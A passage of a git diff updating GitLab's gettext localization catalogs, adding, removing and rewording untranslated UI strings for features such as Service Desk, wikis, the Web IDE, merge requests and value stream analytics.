+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -27535,7 +28258,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -27565,9 +28288,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -27622,9 +28351,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27718,6 +28444,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27856,19 +28585,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27970,6 +28723,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -28024,7 +28780,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -28036,6 +28792,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -28057,6 +28816,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -28270,9 +29032,15 @@ msgstr[5] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -28291,6 +29059,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -28531,6 +29302,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -29209,13 +29983,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -29230,9 +30004,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -29245,7 +30016,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -29335,9 +30106,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -29353,9 +30121,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -29413,9 +30178,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -30049,6 +30811,15 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -30214,9 +30985,6 @@ msgstr[5] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -30289,6 +31057,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -30316,6 +31087,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -30328,6 +31102,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -30394,6 +31171,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -30454,6 +31234,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -30526,6 +31309,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -30577,6 +31363,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -30625,6 +31414,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -30652,6 +31447,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30685,9 +31483,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30931,6 +31726,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -31069,7 +31867,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -31153,6 +31951,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -31162,6 +31963,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -31174,6 +31978,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -31480,9 +32287,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -31579,9 +32383,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31888,6 +32689,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31930,9 +32740,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31960,7 +32767,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -32065,6 +32872,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -32266,10 +33076,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -32404,9 +33214,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -32461,6 +33268,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32863,7 +33676,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32872,6 +33685,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32968,6 +33784,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -33166,9 +33985,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -33220,6 +34036,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -33265,7 +34084,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -33493,9 +34315,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -33562,7 +34381,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -33571,6 +34405,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33730,9 +34570,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33760,6 +34606,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33769,6 +34618,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -34174,15 +35026,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -34357,6 +35224,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -34459,9 +35329,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -34534,34 +35401,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -34573,9 +35455,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -34588,9 +35467,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -34651,6 +35527,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34807,6 +35686,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34948,6 +35833,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -35032,9 +35920,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -35071,12 +35956,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -35110,7 +35989,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -35125,9 +36004,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -35311,12 +36187,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -35437,6 +36319,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -35530,7 +36415,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -35641,6 +36526,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35947,6 +36835,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -36151,6 +37048,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -36325,7 +37225,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -36364,13 +37264,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -36484,9 +37381,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -36637,18 +37531,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -36679,9 +37567,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36748,15 +37633,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -37054,9 +37930,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -37102,6 +37975,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/as_IN/gitlab.po b/locale/as_IN/gitlab.po
index 6cbd6d20a83..d117ac9f7e3 100644
--- a/locale/as_IN/gitlab.po
+++ b/locale/as_IN/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: as\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:51\n"
+"PO-Revision-Date: 2021-04-02 00:11\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
